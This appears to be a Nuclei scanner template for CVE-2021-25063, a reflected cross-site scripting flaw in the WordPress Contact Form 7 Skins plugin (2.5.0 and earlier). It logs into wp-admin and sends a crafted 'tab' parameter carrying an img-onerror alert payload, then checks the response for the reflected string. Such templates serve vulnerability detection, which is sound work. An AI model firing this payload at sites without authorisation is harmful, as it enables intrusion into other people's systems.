61 lines
2.0 KiB
YAML
61 lines
2.0 KiB
YAML
id: CVE-2021-25063
|
|
|
|
info:
|
|
name: WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting
|
|
author: dhiyaneshDk
|
|
severity: medium
|
|
description: WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25063
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-25063
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00106
|
|
epss-percentile: 0.43069
|
|
cpe: cpe:2.3:a:cf7skins:contact_form_7_skins:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: cf7skins
|
|
product: contact_form_7_skins
|
|
framework: wordpress
|
|
tags: wpscan,cve,cve2021,wordpress,wp-plugin,xss,contactform,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<img src onerror=alert(document.domain)>' type='hidden"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100a81478bd202a6d7fa82c8cdaad6d7f3a7e7577c4a91d14836793d4079fa1ad750220284243632d0b2ea808b0a82e2e26fbc561de4ef354c9dcf956b2ca5bcbf55f5c:922c64590222798bb761d5b6d8e72950
|